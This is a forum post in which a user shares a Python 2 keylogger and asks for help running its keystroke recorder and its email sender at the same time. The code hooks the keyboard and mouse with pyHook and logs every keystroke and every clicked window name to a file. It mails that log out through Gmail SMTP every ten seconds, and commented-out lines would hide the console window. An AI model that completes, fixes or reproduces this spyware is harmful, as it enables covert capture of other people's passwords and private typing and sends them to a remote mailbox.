I've manage to make the recorder and the auto-email sender, but I still can't make both of them work simultaneously.
Can someone help me with this please?
I thought about threading but again... It just sends blank mails without the logs.
This is the code:
#import win32api #import win32console #import win32gui import pythoncom, pyHook import smtplib import time import thread, threading #win = win32console.GetConsoleWindow() #win32gui.ShowWindow(win,0) log = "" logpath = "log.txt" openfile = open(logpath,"w") openfile.write("") #openfile = open(logpath,"r+") l = threading.Lock() def sendEmail(): print("ready to send email") fromaddr = 'email@example.com' toaddrs = 'firstname.lastname@example.org' msg = open('log.txt',"r").read() username = '<removed>' password = '<removed>' server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(username,password) server.sendmail(fromaddr, toaddrs, msg) server.quit() print("mail sent") def sendEmailAuto(dt,openfile): tt = time.time() nn = tt+dt while tt<nn: print(tt,nn) if tt>=nn-0.5: #l.acquire() <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python msg = open('log.txt',"r").read() print(msg) sendEmail() tt = time.time() nn = tt+dt log = "" #l.release() else: tt = time.time() def OnKeyboardEvent(event): try: global log if event.Alt == 32 and event.KeyID == 160: log = "[LangCh]" elif event.KeyID>=37 and event.KeyID<=40: log = "["+event.Key+"]" elif event.Ascii == 8: log = "[BS]" elif event.Ascii == 9: log = "[TAB]" elif event.Ascii == 13: log = "[NL]" elif event.Ascii == 27: log = "[ESC]" elif event.Alt == 32 and event.KeyID == 75: openfile.close() sendEmail() exit() else: log = chr(event.Ascii) openfile.write(log) except: pass return True def OnMouseEvent(event): global log if event.MessageName == "mouse left down": log = "<"+event.WindowName +">\n" openfile.write(log) if event.MessageName == "mouse left up" and event.WindowName == None : log = "-\n" openfile.write(log) return True thread.start_new_thread(sendEmailAuto, (10,openfile)) hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm2 = pyHook.HookManager() hm2.MouseAll = OnMouseEvent hm.HookKeyboard() hm2.HookMouse() pythoncom.PumpMessages()
Thanks alot ahead!
This post has been edited by Simown: 30 November 2012 - 12:29 AM